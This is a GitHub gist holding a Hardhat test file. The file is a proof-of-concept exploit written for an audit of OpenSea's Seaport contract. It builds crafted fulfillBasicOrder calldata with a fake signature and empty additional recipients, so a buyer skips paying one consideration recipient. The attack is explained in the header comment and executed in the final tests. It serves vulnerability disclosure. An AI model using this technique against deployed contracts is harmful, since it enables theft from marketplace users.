Skip to content

Instantly share code, notes, and snippets.

@0xsanson
Created June 3, 2022 14:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0xsanson/e87e5fe26665c6cecaef2d9c4b0d53f4 to your computer and use it in GitHub Desktop.
Save 0xsanson/e87e5fe26665c6cecaef2d9c4b0d53f4 to your computer and use it in GitHub Desktop.
Test exploit regarding bad consideration length assertment [Seaport Audit]
/*
Test exploit regarding bad consideration length assertment.
Opensea Seaport audit.
= = = = = = = = = = = = = = =
How to run:
- save as ./test/testBadConsiderationLength.js
- npx hardhat test test/testBadConsiderationLength.js
= = = = = = = = = = = = = = =
Premise:
- Alice is the victim, Bob the exploiter.
Alice makes the following order:
- offer: one ERC721 token
- consideration: two elements, both the same ERC20 token
1st with recipient herself, amount = 1000
2nd with recipient Carol (can be zone or owner or a friend), amount = 100
Bob does the following steps:
(1) He validates Alice's order, passing her signature
(2.1) He prepares the correct `parameters` for the basic order
(2.2) He changes `parameters.additionalRecipients` to `[]`
(2.3) He changes `parameters.signature` to
`0x${24 zeroes}${Carol's address}${other zeroes}`,
in a way that signature.length = 100 and
the first 32 bytes are Carol's address padded with zeroes.
(2.4) He calls fulfillBasicOrder passing this fake parameters.
Expected result:
- Alice gets 1000 tokens, Carol gets 100
- Bob buys the NFT for 1100 tokens
Actual result:
- Alice gets 1000 tokens, Carol gets 0
- Bob buys the NFT for only 1000 tokens
= = = = = = = = = = = = = = =
Explanation:
To illustrate, this is how the correct calldata looks like:
...
0000000000000000000000000000000000000000000000000000000000000001 tot original
0000000000000000000000000000000000000000000000000000000000000240 head addRec
00000000000000000000000000000000000000000000000000000000000002a0 head signature
0000000000000000000000000000000000000000000000000000000000000001 length addRec
0000000000000000000000000000000000000000000000000000000000000064 amount
00000000000000000000000090f79bf6eb2c4f870365e785982e1f101e93b906 recipient (Carol)
0000000000000000000000000000000000000000000000000000000000000040 length signature
75543b3ec1932482e8ee21e1d6112bbbf33de34f63deacbf75016d99ca4c33ee signature body
95ae6f79326c3580b255ff209fe509c4a6f9cbdcea784e84af33c2f33baa6f52 ''
And this is the fake calldata:
...
0000000000000000000000000000000000000000000000000000000000000001 tot original
0000000000000000000000000000000000000000000000000000000000000240 head addRec
0000000000000000000000000000000000000000000000000000000000000260 head signature
0000000000000000000000000000000000000000000000000000000000000000 length addRec
0000000000000000000000000000000000000000000000000000000000000064 length signature
00000000000000000000000090f79bf6eb2c4f870365e785982e1f101e93b906 signature body
0000000000000000000000000000000000000000000000000000000000000000 ''
0000000000000000000000000000000000000000000000000000000000000000 ''
0000000000000000000000000000000000000000000000000000000000000000 ''
You can see that the {amount, recipient} slots contain the same information,
so the orderHash calculated from calldata is the same.
By validating the order beforehand, it doesn't matter that the signature is wrong.
When time comes to transfer the tokens, the code looks at addRec array,
which is empty, so the second consideration is ignored.
= = = = = = = = = = = = = = =
*/
/* eslint-disable no-unused-expressions */
const { expect } = require("chai");
const {
constants,
utils: { parseEther, keccak256, toUtf8Bytes, recoverAddress },
Contract,
} = require("ethers");
const { ethers } = require("hardhat");
const { faucet, whileImpersonating } = require("./utils/impersonate");
const { deployContract } = require("./utils/contracts");
const { merkleTree } = require("./utils/criteria");
const deployConstants = require("../constants/constants");
const {
randomHex,
random128,
toAddress,
toKey,
convertSignatureToEIP2098,
getBasicOrderParameters,
getOfferOrConsiderationItem,
getItemETH,
toBN,
randomBN,
} = require("./utils/encoding");
const { orderType } = require("../eip-712-types/order");
const { randomInt } = require("crypto");
const { getCreate2Address } = require("ethers/lib/utils");
const { tokensFixture } = require("./utils/fixtures");
const VERSION = !process.env.REFERENCE ? "1" : "rc.1";
const buildOrderStatus = (...arr) => {
const values = arr.map((v) => (typeof v === "number" ? toBN(v) : v));
return ["isValidated", "isCancelled", "totalFilled", "totalSize"].reduce(
(obj, key, i) => ({
...obj,
[key]: values[i],
[i]: values[i],
}),
{}
);
};
describe('Consideration Length Exploit in Basic Order', () => {
const provider = ethers.provider;
let domainData;
let marketplaceContract;
let testERC20, testERC721;
let owner, alice, bob, carol;
let order, orderHash;
const set721ApprovalForAll = async (
signer,
spender,
approved = true,
contract = testERC721
) =>
expect(contract.connect(signer).setApprovalForAll(spender, approved))
.to.emit(contract, "ApprovalForAll")
.withArgs(signer.address, spender, approved);
const mint721 = async (signer, id) => {
const nftId = id ? toBN(id) : randomBN();
await testERC721.mint(signer.address, nftId);
return nftId;
};
const mintAndApprove721 = async (signer, spender, id) => {
await set721ApprovalForAll(signer, spender, true);
return mint721(signer, id);
};
const mintAndApproveERC20 = async (signer, spender, tokenAmount) => {
// Offerer mints ERC20
await testERC20.mint(signer.address, tokenAmount);
// Offerer approves marketplace contract to tokens
await expect(testERC20.connect(signer).approve(spender, tokenAmount))
.to.emit(testERC20, "Approval")
.withArgs(signer.address, spender, tokenAmount);
};
const getAndVerifyOrderHash = async (orderComponents) => {
const orderHash = await marketplaceContract.getOrderHash(orderComponents);
const offerItemTypeString =
"OfferItem(uint8 itemType,address token,uint256 identifierOrCriteria,uint256 startAmount,uint256 endAmount)";
const considerationItemTypeString =
"ConsiderationItem(uint8 itemType,address token,uint256 identifierOrCriteria,uint256 startAmount,uint256 endAmount,address recipient)";
const orderComponentsPartialTypeString =
"OrderComponents(address offerer,address zone,OfferItem[] offer,ConsiderationItem[] consideration,uint8 orderType,uint256 startTime,uint256 endTime,bytes32 zoneHash,uint256 salt,bytes32 conduitKey,uint256 nonce)";
const orderTypeString = `${orderComponentsPartialTypeString}${considerationItemTypeString}${offerItemTypeString}`;
const offerItemTypeHash = keccak256(toUtf8Bytes(offerItemTypeString));
const considerationItemTypeHash = keccak256(
toUtf8Bytes(considerationItemTypeString)
);
const orderTypeHash = keccak256(toUtf8Bytes(orderTypeString));
const offerHash = keccak256(
"0x" +
orderComponents.offer
.map((offerItem) => {
return ethers.utils
.keccak256(
"0x" +
[
offerItemTypeHash.slice(2),
offerItem.itemType.toString().padStart(64, "0"),
offerItem.token.slice(2).padStart(64, "0"),
toBN(offerItem.identifierOrCriteria)
.toHexString()
.slice(2)
.padStart(64, "0"),
toBN(offerItem.startAmount)
.toHexString()
.slice(2)
.padStart(64, "0"),
toBN(offerItem.endAmount)
.toHexString()
.slice(2)
.padStart(64, "0"),
].join("")
)
.slice(2);
})
.join("")
);
const considerationHash = keccak256(
"0x" +
orderComponents.consideration
.map((considerationItem) => {
return ethers.utils
.keccak256(
"0x" +
[
considerationItemTypeHash.slice(2),
considerationItem.itemType.toString().padStart(64, "0"),
considerationItem.token.slice(2).padStart(64, "0"),
toBN(considerationItem.identifierOrCriteria)
.toHexString()
.slice(2)
.padStart(64, "0"),
toBN(considerationItem.startAmount)
.toHexString()
.slice(2)
.padStart(64, "0"),
toBN(considerationItem.endAmount)
.toHexString()
.slice(2)
.padStart(64, "0"),
considerationItem.recipient.slice(2).padStart(64, "0"),
].join("")
)
.slice(2);
})
.join("")
);
const derivedOrderHash = keccak256(
"0x" +
[
orderTypeHash.slice(2),
orderComponents.offerer.slice(2).padStart(64, "0"),
orderComponents.zone.slice(2).padStart(64, "0"),
offerHash.slice(2),
considerationHash.slice(2),
orderComponents.orderType.toString().padStart(64, "0"),
toBN(orderComponents.startTime)
.toHexString()
.slice(2)
.padStart(64, "0"),
toBN(orderComponents.endTime)
.toHexString()
.slice(2)
.padStart(64, "0"),
orderComponents.zoneHash.slice(2),
orderComponents.salt.slice(2).padStart(64, "0"),
orderComponents.conduitKey.slice(2).padStart(64, "0"),
toBN(orderComponents.nonce).toHexString().slice(2).padStart(64, "0"),
].join("")
);
expect(orderHash).to.equal(derivedOrderHash);
return orderHash;
};
// Returns signature
const signOrder = async (orderComponents, signer) => {
const signature = await signer._signTypedData(
domainData,
orderType,
orderComponents
);
const orderHash = await getAndVerifyOrderHash(orderComponents);
const { domainSeparator } = await marketplaceContract.information();
const digest = keccak256(
`0x1901${domainSeparator.slice(2)}${orderHash.slice(2)}`
);
const recoveredAddress = recoverAddress(digest, signature);
expect(recoveredAddress).to.equal(signer.address);
return signature;
};
const createOrder = async (
offerer,
zone,
offer,
consideration,
orderType,
criteriaResolvers,
timeFlag,
signer,
zoneHash = constants.HashZero,
conduitKey = constants.HashZero,
extraCheap = false
) => {
const nonce = await marketplaceContract.getNonce(offerer.address);
const salt = !extraCheap ? randomHex() : constants.HashZero;
const startTime =
timeFlag !== "NOT_STARTED" ? 0 : toBN("0xee00000000000000000000000000");
const endTime =
timeFlag !== "EXPIRED" ? toBN("0xff00000000000000000000000000") : 1;
const orderParameters = {
offerer: offerer.address,
zone: !extraCheap ? zone.address : constants.AddressZero,
offer,
consideration,
totalOriginalConsiderationItems: consideration.length,
orderType,
zoneHash,
salt,
conduitKey,
startTime,
endTime,
};
const orderComponents = {
...orderParameters,
nonce,
};
const orderHash = await getAndVerifyOrderHash(orderComponents);
const { isValidated, isCancelled, totalFilled, totalSize } =
await marketplaceContract.getOrderStatus(orderHash);
expect(isCancelled).to.equal(false);
const orderStatus = {
isValidated,
isCancelled,
totalFilled,
totalSize,
};
const flatSig = await signOrder(orderComponents, signer || offerer);
const order = {
parameters: orderParameters,
signature: !extraCheap ? flatSig : convertSignatureToEIP2098(flatSig),
numerator: 1, // only used for advanced orders
denominator: 1, // only used for advanced orders
extraData: "0x", // only used for advanced orders
};
// How much ether (at most) needs to be supplied when fulfilling the order
const value = offer
.map((x) =>
x.itemType === 0
? x.endAmount.gt(x.startAmount)
? x.endAmount
: x.startAmount
: toBN(0)
)
.reduce((a, b) => a.add(b), toBN(0))
.add(
consideration
.map((x) =>
x.itemType === 0
? x.endAmount.gt(x.startAmount)
? x.endAmount
: x.startAmount
: toBN(0)
)
.reduce((a, b) => a.add(b), toBN(0))
);
return {
order,
orderHash,
value,
orderStatus,
orderComponents,
};
};
before(async () => {
[owner, alice, bob, carol] = await ethers.getSigners();
// Deploy conduit controller,
// only used as argument for marketplace constructor.
const conduitController = await deployContract("ConduitController", owner);
// Deploy marketplace.
marketplaceContract = await deployContract('Seaport', owner, conduitController.address);
// Deploy test tokens.
testERC20 = await deployContract("TestERC20", owner);
testERC721 = await deployContract("TestERC721", owner);
// ERC721 with ID = 1
await mintAndApprove721(alice, marketplaceContract.address, 1)
// ERC20 with amount = 1100
await mintAndApproveERC20(bob, marketplaceContract.address, 1000+100)
// --
const network = await provider.getNetwork();
const chainId = network.chainId;
domainData = {
name: process.env.REFERENCE ? "Consideration" : "Seaport",
version: VERSION,
chainId: chainId,
verifyingContract: marketplaceContract.address,
};
})
it('Owners should have the right tokens', async () => {
const ownerOfNFT = await testERC721.ownerOf(1);
const aliceTokenBalance = await testERC20.balanceOf(alice.address);
const bobTokenBalance = await testERC20.balanceOf(bob.address);
const carolTokenBalance = await testERC20.balanceOf(carol.address);
expect(ownerOfNFT).to.equal(alice.address);
expect(aliceTokenBalance).to.equal(0);
expect(bobTokenBalance).to.equal(1000+100);
expect(carolTokenBalance).to.equal(0);
})
it('Alice makes the order and Bob validates it', async () => {
const offer = [
getOfferOrConsiderationItem(
2, // ERC721
testERC721.address,
1, // nftId
1, // start
1, // end
)
];
const consideration = [
getOfferOrConsiderationItem(
1, // ERC20
testERC20.address,
0,
1000,
1000,
alice.address // recipient
),
getOfferOrConsiderationItem(
1,
testERC20.address,
0,
100,
100,
carol.address
),
];
const results = await createOrder(
alice,
constants.AddressZero, // zone
offer,
consideration,
0, // FULL_OPEN
[], // criteria
null, // timeFlag
alice, // signer
constants.HashZero, // zoneHash
constants.HashZero, // conduitKey
true, // extraCheap
);
order = results.order;
orderHash = results.orderHash;
// OrderStatus is not validated
let orderStatus = await marketplaceContract.getOrderStatus(orderHash);
expect({ ...orderStatus }).to.deep.equal(
buildOrderStatus(false, false, 0, 0)
);
// Bob validates the order
await expect(marketplaceContract.connect(bob).validate([order]))
.to.emit(marketplaceContract, "OrderValidated")
.withArgs(orderHash, alice.address, constants.AddressZero);
// OrderStatus is validated
orderStatus = await marketplaceContract.getOrderStatus(orderHash);
expect({ ...orderStatus }).to.deep.equal(
buildOrderStatus(true, false, 0, 0)
);
})
it('Exploit: Bob fulfills using a custom calldata', async () => {
// True Parameters
const basicOrderParameters = getBasicOrderParameters(
2, // ERC20ForERC721
order
);
// Modify them
basicOrderParameters.additionalRecipients = []
//basicOrderParameters.signature = ...
// Modify signature
const data = marketplaceContract.interface.encodeFunctionData("fulfillBasicOrder", [basicOrderParameters])
const newdata = ethers.utils.hexConcat([
ethers.utils.hexDataSlice(data, 0, 4+32*20),
ethers.utils.defaultAbiCoder.encode(['uint256'],[100]), // signature_length = amount
ethers.utils.hexZeroPad(carol.address, 32), // Carol's address in signature body
ethers.utils.hexZeroPad("0x", 32*Math.ceil(100/32-1)), // empty to fill length
])
//console.log(`newdata = ${newdata}`)
// Try fulfill low-level
await expect(bob.sendTransaction({
to: marketplaceContract.address,
data: newdata
})).to.emit(marketplaceContract, "OrderFulfilled")
})
it('Check aftermath', async () => {
const ownerOfNFT = await testERC721.ownerOf(1);
const aliceTokenBalance = await testERC20.balanceOf(alice.address);
const bobTokenBalance = await testERC20.balanceOf(bob.address);
const carolTokenBalance = await testERC20.balanceOf(carol.address);
expect(ownerOfNFT).to.equal(bob.address);
expect(aliceTokenBalance).to.equal(1000);
expect(bobTokenBalance).to.equal(100);
expect(carolTokenBalance).to.equal(0);
console.log(`- - Aftermath - -`)
console.log(`Alice token balance before: ${0}`)
console.log(`Alice token balance after: ${1000}`)
console.log(`- - -`)
console.log(`Bob token balance before: ${1000+100}`)
console.log(`Bob token balance after: ${100}`)
console.log(`- - -`)
console.log(`Carol token balance before: ${0}`)
console.log(`Carol token balance after: ${0}`)
console.log(`- - - - - -`)
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment